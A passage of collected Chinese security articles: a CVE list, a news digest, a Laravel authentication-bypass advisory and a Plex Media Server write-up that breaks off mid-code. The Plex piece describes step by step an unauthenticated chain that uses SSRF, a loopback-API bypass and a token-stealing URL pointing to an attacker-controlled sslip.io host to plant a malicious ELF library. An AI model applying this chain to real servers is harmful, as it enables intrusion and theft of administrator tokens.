                 CVE-2026-97607 CVE-2026-97608 CVE-2026-97611 CVE-2026-97612
                 CVE-2026-97613 CVE-2026-97616 CVE-2026-97617 CVE-2026-97899
                 CVE-2026-97900 CVE-2026-97902 CVE-2026-97904 CVE-2026-97905
                 CVE-2026-97907 CVE-2026-97908 CVE-2026-97909 CVE-2026-97910
                 CVE-2026-97915 CVE-2026-97916 CVE-2026-97917 CVE-2026-97920
                 CVE-2026-97921 CVE-2026-97922 CVE-2026-97923 CVE-2026-97924
                 CVE-2026-97925 CVE-2026-97926 CVE-2026-97927 CVE-2026-97929
                 CVE-2026-97930 CVE-2026-97931 CVE-2026-97936 CVE-2026-97940
                 CVE-2026-97945 CVE-2026-97948 CVE-2026-97951 CVE-2026-97952
                 CVE-2026-97953 CVE-2026-97954 CVE-2026-97957 CVE-2026-97958
                 CVE-2026-97959 CVE-2026-97961 CVE-2026-97963 CVE-2026-97964
                 CVE-2026-97965 CVE-2026-97966 CVE-2026-97967 CVE-2026-97968
                 CVE-2026-97969 CVE-2026-97970 CVE-2026-97973 CVE-2026-97976
                 CVE-2026-97977 CVE-2026-97978 CVE-2026-97979 CVE-2026-97981
                 CVE-2026-97982 CVE-2026-97984 CVE-2026-97985 CVE-2026-97986
                 CVE-2026-97987 CVE-2026-97990 CVE-2026-97991 CVE-2026-97992
                 CVE-2026-97993 CVE-2026-97994 CVE-2026-97995 CVE-2026-97996
                 CVE-2026-97998 CVE-2026-98001 CVE-2026-98006 CVE-2026-98007
                 CVE-2026-98008 CVE-2026-98009 CVE-2026-98010 CVE-2026-98011
                 CVE-2026-98012 CVE-2026-98013 CVE-2026-98014 CVE-2026-98015
                 CVE-2026-98016 CVE-2026-98017 CVE-2026-98018 CVE-2026-98020
                 CVE-2026-98021 CVE-2026-98022 CVE-2026-98023 CVE-2026-98024
                 CVE-2026-98025 CVE-2026-98026 CVE-2026-98027 CVE-2026-98028
                 CVE-2026-98029 CVE-2026-98030 CVE-2026-98031 CVE-2026-98037
                 CVE-2026-98039 CVE-2026-98041 CVE-2026-98045 CVE-2026-98046
                 CVE-2026-98051 CVE-2026-98052 CVE-2026-98054 CVE-2026-98055
                 CVE-2026-98056 CVE-2026-98057 CVE-2026-98059 CVE-2026-98063
                 CVE-2026-98064 CVE-2026-98066 CVE-2026-98068 CVE-2026-98069
                 CVE-2026-98070 CVE-2026-98071 CVE-2026-98072 CVE-2026-98074
                 CVE-2026-98075 CVE-2026-98076 CVE-2026-98077 CVE-2026-98078
                 CVE-2026-98080 CVE-2026-98081 CVE-2026-98082 CVE-2026-98083
                 CVE-2026-98086 CVE-2026-98088 CVE-2026-98089 CVE-2026-98090
                 CVE-2026-98091 CVE-2026-98092 CVE-2026-98094 CVE-2026-98095
                 CVE-2026-98096 CVE-2026-98097 CVE-2026-98098 CVE-2026-98102
                 CVE-2026-98103 CVE-2026-98104 CVE-2026-98105 CVE-2026-98107
                 CVE-2026-98108 CVE-2026-98109 CVE-2026-98110 CVE-2026-98111
                 CVE-2026-98113 CVE-2026-98114 CVE-2026-98116 CVE-2026-98121
                 CVE-2026-98122 CVE-2026-98123 CVE-2026-98126 CVE-2026-98127
                 CVE-2026-98128 CVE-2026-98129 CVE-2026-98130 CVE-2026-98142
                 CVE-2026-98151 CVE-2026-98152 CVE-2026-98154 CVE-2026-98155
                 CVE-2026-98157 CVE-2026-98158 CVE-2026-98159 CVE-2026-98160
                 CVE-2026-100070 CVE-2026-100071 CVE-2026-100075 CVE-2026-100078
                 CVE-2026-100079
```
doc/2026-10/Drupal 网站可能被 “免登录接管”：这类 RCE 漏洞为什么要马上排查.md
+120
View File
@@ -0,0 +1,120 @@
# Drupal 网站可能被 “免登录接管”：这类 RCE 漏洞为什么要马上排查
汇能云安全 2026-10-20 03:07
![](https://mmbiz.qpic.cn/mmbiz_jpg/AyvgaRYHWDY8PlmGicRHslYO1bXIYqa4zkDGAfuYibf81RxEeKqzWHuGWZiapxs7HxNnscp6A3dtic9A85rBdfRNk88zW2QxR6Ioez8ibP3hJSAc/640?wx_fmt=jpeg&from=appmsg "")
**10****月****20****日，星期二****，您好！中科汇能与您分享信息安全快讯：**
![](https://mmbiz.qpic.cn/mmbiz_gif/AyvgaRYHWDayJIGnpsM0OyZVE9VhfeOPSAl3GEtXauXICVY9W3STcXujPhwej7AIbzkB7KMRnzPP55jI88nibgjKb5T1jqbTvibUGIW9UUfVc/640?wx_fmt=gif&from=appmsg "")
**01**
**Drupal 网站可能被 “免登录接管”：这类 RCE 漏洞为什么要马上排查**
Drupal 安全团队近期发布更新，修复核心 Field UI 模块中的严重远程代码执行漏洞 CVE-2026-108097，相关安全公告编号为 SA-CORE-2026-014，据披露，攻击者无需登录就可能利用该问题对受影响网站执行代码，最坏情况下直接取得网站控制权，当前摘要没有给出统一受影响版本清单，因此不能简单用一个版本号判断安全，实际部署必须对照官方公告逐项核验。很多单位把内容管理系统当成普通网站后台，认为即使出问题也只是页面被篡改。现实并不是这样，
**Drupal 往往连接用户账号、文件目录、数据库、插件模块和发布流程，一旦远程代码执行成立，攻击者拿到的可能是继续横向移动、植入后门、窃取配置和篡改内容的起点，对于承载政务、教育、医疗或企业业务的门户网站，网站被接管还可能影响公众信任和后续业务流程。**
处置时不要只做一次版本升级，先盘点所有 Drupal 实例，特别是被遗忘的旧站、测试站和外包建设站点；再按官方公告核对 Field UI 模块状态并完成更新。补丁完成后，应检查异常管理员、近期新增文件、可疑 PHP 脚本、计划任务和数据库账号变化，同时回看 Web 访问日志中是否出现异常参数或非正常命令执行迹象。暂时无法升级的系统，应限制管理入口和相关接口的公网访问，并加强 WAF、主机和文件完整性监控。漏洞修复解决的是入口问题，是否已经被利用还需要另做排查。
**02**
**微软把 AI 代理当成 “内部人员” 管理，企业安全边界正在改变**
微软在 10 月 19 日发布提醒，企业不能因为 AI 代理没有主观恶意，就把它们当成普通软件功能。一个被授权读取公司数据、调用应用、执行代码或操作业务系统的代理，实际上已经拥有了类似内部人员的行动能力，而且执行速度远超人工。
**一旦上下文被污染、权限配置过宽、工具调用缺少限制，代理就可能把错误指令迅速变成真实的业务动作，这个判断的价值，在于它把 AI 安全从 “模型会不会说错话” 推进到了 “模型能做什么事”。如果代理可以读取源代码、访问客户资料、调用云平台、发送邮件或创建账号，那么风险就不再局限于回答内容。**
提示词注入、恶意文档、被污染的知识库、第三方插件和泄露的会话令牌，都可能诱导代理跨越原本的业务边界。企业真正需要防的是权限被组合使用后产生的放大效应。部署代理时，建议把它纳入现有身份与访问管理体系，给每个代理配置独立身份、最小权限和明确的资源范围。读取敏感数据、修改生产环境、发起付款、发送外部邮件等动作，应设置人工确认或双重审批。代理调用的工具、输入来源、输出结果和异常行为要留下可检索日志，并对长期密钥改用短时令牌和轮换机制。还要定期用失控、越权和数据外传场景做演练。代理不是普通聊天窗口，谁能给它权限，谁就必须承担相应的审计责任。
**03**
**STAR Fuzzer 推出 AI 辅助模糊测试能力，帮助发现高危内存安全问题**
Bright Security 推出 STAR Fuzzer，利用演化引擎自动编写测试 harness 并验证崩溃、内存耗尽和内存安全问题。其首次开源研究测试覆盖的项目中，45% 发现了高危或严重问题，该工具不是攻击事件，但说明 AI 正在进入漏洞发现和验证环节。研发团队应把自动化测试纳入安全开发流程，并对发现的问题及时复现、修复和回归验证，这里的重点不是工具宣传，而是漏洞发现速度正在被自动化能力推高，企业不能再把安全测试放在发布前的最后一关。
**传统模糊测试往往需要安全人员手工理解接口、准备输入并编写测试 harness，成本较高，也容易遗漏复杂代码路径。能够自动生成测试逻辑的工具，可以把更多时间投入到高风险组件、解析器和内存管理代码上。对软件供应商而言，这意味着公开项目和依赖库可能更快暴露缺陷；对使用方而言，则意味着补丁窗口可能进一步缩短。**
自动发现并不等于自动修复，误报、重复问题和测试环境中的敏感数据泄露仍然需要人工治理。研发团队可以先把这类能力放在隔离的持续集成环境，明确测试代码、样本和崩溃文件的访问边界，避免把生产密钥、客户数据或内部源码无控制地交给外部服务。对每个发现的问题，应建立从复现、定级、修复、回归到发布通知的闭环，并检查问题是否同时存在于下游产品和分支版本。安全团队还应关注自动化工具生成的脚本和依赖，防止测试链路本身成为供应链入口。工具提高了发现速度，组织流程也必须同步提高响应速度。
**04**
**SiteGuard 防火墙自身被打穿：CVE-2026-106931 已出现真实攻击**
SiteGuard Server Edition 被曝存在命令注入漏洞 CVE-2026-106931，攻击者正在利用该漏洞发动攻击。根据公开摘要，问题位于产品统计功能，利用成功后可以执行操作系统命令，并可能获得 root 或 SYSTEM 权限。这里最值得警惕的不是一个普通 Web 组件出错，而是安全产品本身直接安装在被保护服务器上，一旦它被打穿，攻击者可能越过原本依赖的外围防线，进入主机内部。
**很多企业看到 “这是 WAF 漏洞” 时，第一反应是把它当作网络边界设备问题，重启设备或观察告警就结束了。但 SiteGuard Server Edition 的部署形态意味着它可能拥有较高的本机权限，并接触流量、配置、日志和管理接口。攻击者如果拿到服务器权限，后续目标可能包括凭据窃取、植入持久化任务、修改安全策略以及利用该主机继续访问内网。**
因此，受影响单位需要把它按主机入侵事件来核查，而不是只按配置缺陷处理。处置顺序应当清晰：先确认资产清单和暴露面，再根据厂商公告完成修复或采取临时隔离措施；限制统计、管理和远程维护接口，仅允许必要的管理来源访问；随后检查异常子进程、Shell 命令、计划任务、服务配置、启动项和外联地址。若主机上保存过管理员密码、API 令牌或证书，不能只升级软件，还要同步轮换凭据并检查其被使用的记录。已经观察到异常的设备应保留日志和磁盘证据，必要时从可信介质重建，避免带着后门重新上线。
**05**
**仿冒 Teams 登录页的新域名出现，办公账号仍是钓鱼攻击的首要目标**
安全研究人员发现，一个新注册的域名 teams-cloud [.] live 复制了 Microsoft Teams 的登录页面和界面，存在用于窃取办公账号的钓鱼风险。公开信息显示，该域名在被发现时仅注册约五天，研究人员建议组织尽快拦截。
**当前没有证据表明所有访问者都已受害，但 “新域名 + 高度仿冒登录页” 的组合，足以说明攻击者正在利用员工对日常协作工具的信任。这类攻击不一定需要复杂漏洞。攻击者只要把链接伪装成会议邀请、共享文件、团队通知或账号异常提醒，就可能把用户带到看起来很熟悉的页面。**
用户输入的账号、密码以及后续多因素认证信息，可能被转发给攻击者；即使企业启用了多因素认证，攻击者也可能进一步尝试会话劫持、实时中继或诱导用户批准异常登录。风险往往发生在工作节奏很快的时候，而不是发生在技术人员能够仔细分析链接的场景。企业应把该域名及相关解析记录加入邮件、DNS、代理和终端拦截策略，同时通过威胁情报持续关注同类新注册域名。对员工来说，登录 Teams 或其他办公平台应优先从已保存的官方入口进入，不要从临时邮件、聊天消息和二维码直接打开登录页面。安全团队还应检查近期是否出现异常登录、陌生设备、异常会话和多次认证失败；如果有人已经输入凭据，应立即重置密码、吊销会话、重新注册认证因子，并核对邮箱规则和文件共享权限。拦一个域名只能解决眼前问题，真正有效的是建立对仿冒登录流程的持续识别能力。
**06**
**16 年前遗留的 Broadcom Wi-Fi 缺陷，附近攻击者无需密码也可能控制路由器**
研究人员披露，Broadcom Wi-Fi 软件中存在一个已经存续约 16 年的缺陷，攻击者在无线信号覆盖范围内，即使不知道网络密码，也可能利用它控制受影响路由器。该问题在巴黎 Hexacon 会议期间公开讨论，研究人员指出，旧代码长期存在于广泛部署的设备中。公开摘要没有提供统一的漏洞编号和完整设备清单，因此不能据此断言所有 Broadcom 芯片路由器都受影响，设备型号和厂商固件仍需逐项确认。
**它的现实风险在于，攻击者不一定需要先进入企业无线网络，只要靠近办公区、酒店、校园、仓库或家庭路由器，就可能把无线攻击变成设备接管入口。路由器一旦失守，攻击者可以观察流量、修改 DNS、劫持访问、设置代理或把设备纳入后续攻击基础设施。对于小型机构和分支机构来说，网络设备往往缺少持续监控，固件多年不更新，出问题后也不容易留下明显的终端告警。**
处置时不要只看路由器品牌，要同时确认芯片平台、硬件型号、固件版本和厂商安全公告。能升级的设备应安装厂商提供的修复固件，无法升级的旧设备应减少管理面暴露、关闭不必要的无线和远程管理功能，并考虑替换。企业还应核对 DNS 配置、管理账号、无线配置、端口映射和异常代理设置，检查设备是否存在陌生外联。无线网络应使用强认证和分区策略，管理平面只允许受控来源访问。由于该缺陷历史较长，不能把 “过去没有发现异常” 当成没有被利用的证明。
**07**
**Google 为 Android 增加反诈骗保护，电话、短信和验证码都被纳入防线**
Google 宣布推出一组面向 Android 的安全保护能力，用于应对电话、短信、聊天应用、网页链接和账号验证码中的移动诈骗。公开信息提到的风险包括伪造号码、假银行提醒、钓鱼页面、远程屏幕共享和 AI 生成语音等，攻击者的目标通常是诱导用户交钱、交出密码或提供一次性验证码。这是厂商层面的防护更新，并不代表所有设备会在同一时间获得相同能力，也不能替代用户和企业自身的安全控制。移动诈骗越来越少依赖单一恶意软件，更多时候是把电话、消息、链接、登录和支付串成一条社会工程链。
**受害者可能先接到一通冒充客服的电话，再收到一条 “风险通知”，随后被引导到仿冒页面，最后在紧张情绪中交出验证码。AI 生成的声音和更自然的聊天内容，会让传统的 “看语气辨真假” 变得不可靠。对企业来说，员工手机既是个人设备，也可能承载办公账号、支付工具和内部应用，移动端风险不能再被排除在安全运营之外。用户应及时安装系统和安全组件更新，不要把验证码、屏幕共享和远程控制权限交给陌生人。**
遇到 “马上处理”“否则封号”“不要告诉别人” 等高压话术，应通过官方号码独立回拨核实。企业则应在移动设备管理、邮件和身份系统中加强异常登录、风险链接和远程控制行为检测，并明确规定客服、财务和管理员不会索要密码或验证码。对安全团队而言，最重要的不是等待某个功能自动拦截，而是把手机、身份、支付和员工培训放到同一条反欺诈流程里。
**08**
**Plex 媒体服务器漏洞被用于挖矿，公开利用链让家用设备进入攻击视野**
研究人员观察到，攻击者正在利用 Plex Media Server 漏洞部署加密货币挖矿恶意软件，并在蜜罐环境中记录到成功攻击。公开摘要提到，活动发生在 Plex2Shell 公开利用工具出现之后，该利用链组合了四个漏洞，能够在无需登录的情况下尝试执行代码；后续观察还发现攻击者在系统中运行代理软件。
**受影响对象并不只限于大型企业，暴露在公网的家庭服务器、小型机构媒体服务器和实验环境同样可能成为目标。很多人把 Plex 当作娱乐软件，认为服务器里没有核心业务，遭到攻击最多就是播放中断。但公网服务器只要能够执行代码，就可能被用来挖矿、做代理、扫描其他目标或保存后续载荷。挖矿进程会消耗 CPU、内存和电力，代理程序则可能让受害主机的网络地址替攻击者发起连接。**
对于企业而言，这类 “非核心设备” 还可能与办公网、存储系统或管理员工作站存在连通关系，影响不会永远停留在媒体服务本身。使用 Plex 的单位应先确认是否存在公网暴露、是否开启了不必要的远程访问，以及服务器所在网段能访问哪些资源。按照厂商公告升级到修复版本，暂时无法升级时应关闭公网访问并限制来源。随后检查 CPU 异常升高、陌生进程、计划任务、代理配置、启动项和异常外联，重点关注与挖矿池、代理节点或陌生域名的通信。若设备已经出现命令执行或后门迹象，应隔离并从可信备份重建，同时轮换在该主机上使用过的凭据。家庭用户也应更新固件和系统，避免把媒体服务直接暴露在互联网。
**09**
**微软确认 10 月更新可能影响 Exchange 邮件服务，修复漏洞后还要验证业务**
微软确认，10 月 13 日发布的 Windows Server 安全更新可能导致部分本地部署的 Exchange Server 出现邮件服务异常。公开信息显示，受影响范围包括 Exchange Server 2016、Exchange Server 2019 和 Subscription Edition 的部分系统，症状可能表现为网页版邮箱无法访问、邮件无法正常投递。微软已经提供了处理建议，并明确建议管理员不要直接卸载安全更新。这个事件提醒企业，安全补丁上线不等于变更结束，补丁后的业务验证同样是安全运营的一部分，邮件系统一旦中断，影响的不只是收发邮件。企业的密码重置、告警通知、客户沟通、审批流和外部协作都可能依赖 Exchange。更麻烦的是，管理员如果为了恢复服务仓促回滚补丁，可能重新暴露已经修复的安全问题，形成 “业务恢复了，风险也回来了” 的两难局面。因此，
**处理这类兼具安全和兼容性影响的更新，不能只看服务器是否重启成功，还要看真实用户能否登录、邮件是否进出、队列是否积压以及审计记录是否完整。建议管理员先对照微软公告确认系统版本、更新编号和受影响条件，在变更窗口内验证 OWA、SMTP、内部投递、外部投递、移动端和管理接口。**
发现异常时，优先采用微软提供的临时方案或修复步骤，保留变更前后的日志和配置，不要未经评估卸载安全更新。同时检查邮件队列、服务状态、证书、连接器和身份验证错误，确认没有把兼容性问题误判为攻击。后续应在测试环境先完成补丁和 Exchange 联调，再推广到生产系统，并为关键邮件链路准备应急通信渠道。
10
**OpenCode 披露安全事件，受影响工作区中的第三方 API 密钥可能暴露**
OpenCode 披露，一起安全事件影响其 Console 用户中的约 1.4%，受影响工作区中保存的第三方 API 密钥可能已经暴露，公司在 10 月 17 日的说明中将事件与大规模模型蒸馏攻击联系起来，并表示正在与 Anthropic、OpenAI 和 Google 协作处理。公开摘要没有说明所有密钥都被使用或所有客户数据都已泄露，因此不能把 “可能暴露” 直接等同于 “全部被盗”，但只要密钥曾出现在受影响工作区，就应按凭据泄露风险处置。
**这类事件的关键，不只是某个开发工具本身出了问题，而是开发者已经把越来越多的云服务密钥、模型 API 密钥和第三方令牌放进 AI 工作空间。密钥一旦被读取，攻击者可能调用模型、访问代码仓库、消耗账户额度，甚至利用同一令牌进入生产系统，即使工具厂商没有更广泛的内部网络入侵，暴露的第三方凭据也可能把风险传导到多个供应商和项目。**
受影响比例看似不高，但被影响的账号是否拥有高权限，往往比人数更重要。使用 OpenCode Console 或类似 AI 开发工具的团队，应先确认自己的工作区是否落在厂商通知的受影响范围内，再立即轮换其中保存过的第三方 API 密钥、云访问令牌、仓库令牌和数据库凭据。轮换不能只生成新密钥，还要撤销旧密钥、检查调用日志、核对异常消费和访问来源，并确认新凭据没有再次写入聊天记录、提示词、代码仓库或共享工作区。企业还应采用短时令牌、密钥托管和按项目隔离权限，禁止 AI 工具直接持有不必要的生产级凭据。对 AI 开发平台来说，凭据治理必须和代码安全一样成为上线前置条件。
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/AyvgaRYHWDanKbsiatcMKt6iaiccstYYiaUWASTlczoYOiak3fcQvlabvVA7eXOPzqyuQYhlp69Kibua1cMicOj4N8GEQ8sPqbib6xBeBUvM6dWUf0s/640?wx_fmt=gif&from=appmsg "")
信息来源：人民网 国家计算机网络应急技术处理协调中心 国家信息安全漏洞库 今日头条 360威胁情报中心 中科汇能GT攻防实验室 安全牛 E安全 安全客 NOSEC安全讯息平台 火绒安全 亚信安全 奇安信威胁情报中心 MACFEESy mantec白帽汇安全研究院 安全帮  卡巴斯基 安全内参 安全学习那些事 安全圈 黑客新闻 蚁景网安实验室 IT之家IT资讯 黑客新闻国外 天际友盟
![](https://mmbiz.qpic.cn/mmbiz_png/AyvgaRYHWDYfu7bY4AAmuGXo6EZT9qzyptR5qVm3YbhRIuDYY7beCyBcibhqZQ8egkGLdUf1btVpFwrnAMV0sayicN5v9PW1g6KfOGnrpAhw8/640?wx_fmt=png&from=appmsg "")
本文版权归原作者所有，如有侵权请联系我们及时删除
doc/2026-10/Laravel TokenGuard 严重漏洞（CVSS 9.2）可让攻击者以任意用户身份登录.md
+53
View File
@@ -0,0 +1,53 @@
# Laravel TokenGuard 严重漏洞（CVSS 9.2）可让攻击者以任意用户身份登录
sec随谈
sec随谈 sec随谈 2026-10-20 01:24
**内容摘要**
Laravel 于 2026 年 10 月 19 日发布了两份安全公告。其中较严重的是 TokenGuard 中的一个严重身份认证绕过漏洞，CVSS 评分 9.2，可导致账户被接管。另一个中危漏洞则可让仅有只读权限的用户清空相关的数据库表。
**为何值得关注**
Laravel 是使用最广泛的 PHP 框架之一，许多 API 都依赖其令牌守卫（token guard）。这个身份认证绕过漏洞无需登录，也无需有效令牌。因此，任何受该守卫保护的路由都可能暴露在风险之中。
**攻击原理**
**TokenGuard 身份认证绕过（CVSS 9.2）**
第一份公告 
GHSA-f9x3-7vq9-cph6
 影响使用 MySQL 或 MariaDB 的应用。框架在登录查询过程中未能正确处理经过特殊构造的非字符串凭证，查询不会失败，反而可能匹配到错误的用户记录。
Laravel 警告称：“未经身份验证的攻击者可能在不掌握某用户 API 令牌的情况下，以该用户身份通过认证。”实际上，这意味着账户可被接管。
**未授权数据破坏（CVSS 6.5）**
第二份公告 
GHSA-5wcm-3v2w-8362
 涉及读取类接口中的关联关系加载功能。经过特殊构造的请求可在关联表上触发破坏性的数据库操作。据 Laravel 称，拥有读取权限的用户“可能造成不可逆的数据丢失”。
**利用状态**
这两个漏洞目前均尚未分配 CVE 编号，也尚未确认存在在野利用或公开的概念验证（PoC）代码。
**受影响版本**
- TokenGuard 认证绕过：laravel/framework 12.68.0 之前的版本，以及 13.x 中 13.29.0 之前的版本
- 数据破坏：12.x 中 12.45.0 至 12.68.0 之前的版本，以及 13.x 中 13.27.0 之前的版本
**补丁与缓解措施**
- 升级至 Laravel 13.29.0，或 12.x 分支的 12.68.0。这些版本同时修复了上述两个漏洞。
- 检查日志，排查受令牌保护的 API 路由上是否存在异常登录，尤其是来自未知 IP 地址的登录。
- 对加载关联关系的读取类接口背后的数据库进行备份。
由于该身份认证绕过漏洞无需任何凭证即可利用，使用 MySQL 或 MariaDB 的团队应优先打补丁。
参考链接：
https://github.com/laravel/framework/security/advisories/GHSA-5wcm-3v2w-8362
https://github.com/laravel/framework/security/advisories/GHSA-f9x3-7vq9-cph6
doc/2026-10/Plex2Shell攻击链揭秘：从零权限到代码执行.md
+373
View File
@@ -0,0 +1,373 @@
# Plex2Shell攻击链揭秘：从零权限到代码执行
原创 骨哥说事
骨哥说事 骨哥说事 2026-10-20 01:50
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明：</span></span></strong></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
#
****# 防走失：https://gugesay.com/
**不想错过任何消息？设置星标****↓ ↓ ↓**
#
![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jlbXyV4tJfwXpicwdZ2gTB6XtwoqRvbaCy3UgU1Upgn094oibelRBGyMs5GgicFKNkW1f62QPCwGwKxA/640?wx_fmt=png&from=appmsg "")
## 致命的安全崩坏：Plex媒体服务器未授权远程代码执行漏洞深度分析
### Plex媒体服务器的安全架构剖析
Plex媒体服务器 (Plex Media Server，简称PMS) 是**全球数百万家庭**
用来管理和流式传输个人媒体内容的关键软件。它默认在**32400端口**
监听，并且由于远程访问的需求，**大量部署被直接暴露在互联网上**
。从技术架构来看，这是一个复杂的软件层次结构：核心为**C++编写的主进程**
，外部包裹着**Python插件框架**
，内置了**媒体转码引擎**
，提供了**DLNA/UPnP协议支持**
，还设计了一套**配套协议**
用于遥控器和投射功能。所有这些功能都通过**同一个端口**
对外提供服务，形成了极为丰富的**攻击面**
。
![Media server exploit](https://mmbiz.qpic.cn/sz_mmbiz_jpg/TKdPSwEibsZhW1GibgxWBBvBJgU9e51ltEM6LuiaPuUoVu0FgklXmRf8GWP3SJUyCdPxGtiaEIr7bgGKBLq6ibL0F44Gxuvv9iaXD9HV43LtecZEc/640?wx_fmt=jpeg&from=appmsg "")
### Plex的身份验证策略：看似严谨中的致命漏洞
PMS采用了一套独特的身份验证分类机制，根据请求来源和凭证进行精细划分：
- **WAN**
：来自**互联网**
的请求。几乎**所有操作都需要有效令牌**
- **LAN**
：来自**本地网络**
的请求。会**开放更多功能**
但仍有验证
- **环回**
：来自**127.0.0.1**
的请求。服务器会对这类请求给予**极大信任**
，因为理论上来讲它们只应该来自自身进程。管控插件系统的/system/agents/*
 API系列**在环回调用时**
完全不需要任何令牌
- **所有者权限**
：携带所有者专属的local-*
管理员令牌**的请求。这将授予**
完全的服务器控制权限：读取所有配置、修改任意设置、管理媒体库、触发转码任务等
**更重要的是**
，Python插件框架内嵌了一个"自动化逻辑"：每当服务器向外发起HTTP请求时，只要目标URL以http://127.0.0.1
开头，系统就会自动在请求头中附加上**所有者的管理员令牌**
。这本意是为了**简化内部服务之间的身份验证**
，却最终铸成大错。
总结规则很简单：**来自环回的请求免验证，去往环回的请求带权限令牌**
。
## AI辅助漏洞挖掘：现代安全研究的新范式
我的研究方法始终围绕两个核心问题展开：**我能向系统注入什么？**
 以及**最终它会流向哪里？**
我设计的工作流程遵循**侦察→搜寻→验证→串联**
的四步循环：
1. **侦察**
：将目标系统**分解为独立的逻辑组件**
，仔细**追踪每条用户输入路径**
，标注潜在的**危险数据汇点**
1. **搜寻**
：在各个组件内**有针对性地搜寻漏洞**
，重点关注**业务逻辑缺陷**
和安全边界绕过
1. **验证**
：启动**独立的"反验证智能体"**
，让它尝试**证伪我发现的问题**
。如果无法被合理反驳，漏洞的有效性就大大提高
1. **串联**
：从已发现的各种漏洞原语中，**构建出影响最大的完整攻击链**
**关键洞察**
：
我**大量使用了大语言模型(LLMs)来完成这四个阶段的工作。但这并不是简单地让AI"去黑掉Plex"。真正的过程充满了数小时的重复实验**
、**无数的错误尝试**
以及**不断的优先级调整**
。所有的**核心判断和决策**
都来自我的专业经验，LLM更像是**高度专注的智能助手**
，它显著提升了代码分析和逻辑推理的效率，让我能够**保持在战略层面思考**
而不仅仅是战术执行。
## 完整的五步攻击链：艺术级的漏洞串联
**攻击链完整代码见文末链接**
```
[互联网上的攻击者，仅需伪造任意令牌]        |   (1) /player/timeline端点  -- 成功利用SSRF -->  服务器向自身发起POST请求        |                                          (源自真实环回地址)        v   (2) /system/agents/.../searchOne接口  -- 解锁专属环回API        |   利用"identifier"参数注入 --> 伪造任意插件函数调用        v   (3) networking.py:149行代码路径  -- 劫持GetResultFromNetwork函数        |   构造特殊URL: http://127.0.0.1.<攻击者IP>.sslip.io/...        |   服务器看到"127.0.0.1"前缀，自动附加所有者令牌        |   但DNS解析最终将请求导向攻击者控制的IP        v   攻击者成功窃取OWNER级别管理员令牌        |   (4) /video/:/transcode/universal?path=<url>  -- 利用管理员权限        |   操纵媒体转码器加载攻击者托管的"载体视频"        v   (5) TranscoderH264Options=dump-yuv参数控制权  -- x264编码器写入        |   攻击者指定路径的.so文件，将比特级精确的恶意ELF写入系统        |    -> 后续转码的dlopen加载 -> ELF构造函数自动执行        v   [恶意代码以plex用户身份(uid=1000)完全执行]
```
## 第一阶段：未授权SSRF - 打开通向环回的通道
Plex的"配套协议"(companion protocol)为遥控器和投射设备提供了与服务器的通信机制。其中包含/player/*
系列的端点，主要负责**时间线更新**
（记录当前播放状态）和**订阅管理**
（服务器订阅播放器以获取状态）。
我们发现/player/timeline
端点虽然设置了**令牌验证门禁**
，但这个验证机制存在致命缺陷：它**只检查X-Plex-Token头是否存在**
，而**完全不验证令牌的真假或者有效性**
。因此，发送看似随意的X-Plex-Token: junk
就可以**轻松绕过身份验证**
。
```
HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {    if (req.locality == Locality::WAN && !req.hasParam("X-Plex-Token")) {        return HttpReply{401};    }    // hasParam()函数设计缺陷：仅检查"是否存在"，而非"是否有效"    return CompanionProxyRequestHandler::instance().dispatch(req);}
```
具体的订阅流程如下：播放器通过**长轮询(long-poll)注册自身，服务器随后可以订阅它。当服务器需要取消订阅**
时，它会向播放器提供的回调URL发起HTTP请求。这个回调URL完全由播放器在注册时提供的protocol
、host
、port
三个参数**动态构建**
：
```
std::string Controller::callbackUrl() const {    return (boost::format("%1%://%2%:%3%") % protocol % host % port).str();}
```
最关键的是，**protocol参数被不经任何处理就直接拼接进URL**
。这就为攻击者打开了大门：如果将完整的URL放入protocol
参数，比如http://127.0.0.1:32400/system/agents/something
，当取消订阅触发时，PMS就会**使用自己的套接字**
向这个URL发起**真实的POST请求**
，请求来源是**真正的环回地址127.0.0.1**
。服务器就这样**巧妙地对自己完成了SSRF攻击**
。
**完整攻击步骤**
：
1. 利用**伪造令牌**
注册一个播放器（建立长轮询连接）
1. 触发服务器订阅，在protocol
参数中**注入目标环回URL**
1. 立即取消订阅，**强制触发回调请求**
虽然这个请求是"盲注"的，我们看不到服务器响应内容，并且只支持**POST方法**
，但这完全不影响后续攻击。
## 第二阶段：环回API劫持 - 绕过权限系统的钥匙
现在我们获得了**来自环回地址的盲POST请求**
。接下来的问题是如何利用它？
PMS的插件系统管理核心API是/system/agents/*
系列接口，这个API系列有一个重要特性：**仅当请求源自环回地址时才完全免验证**
。而我们第一阶段获得的SSRF攻击，正好提供了**真实的环回请求源**
，让我们能够**直接访问这个关键的内部API**
。
具体来看searchOne
端点，它本应只接受**已注册的代理标识符**
。在agentservice.py
中有一个看似严密的安全性检查：
```
@lock(self.agent_info)def inner():    if identifier not in Core.messaging.plugin_list():        return  # 注意：这是从inner()返回，而非从search_one返回！    # ... 后续正常处理逻辑 ...
```
但这个安全检查**设计存在根本缺陷**
：上层的@lock
装饰器包裹了inner()
函数，却**完全忽略了inner函数的返回值**
！当inner()
内部检查到无效标识符而提前返回时，外层的search_one
会**继续执行后续代码**
，这个安全检查实际上**形同虚设**
。
更糟糕的是，标识符在后续处理中会被**不加任何编码或过滤**
地拼接进内部URL：
```
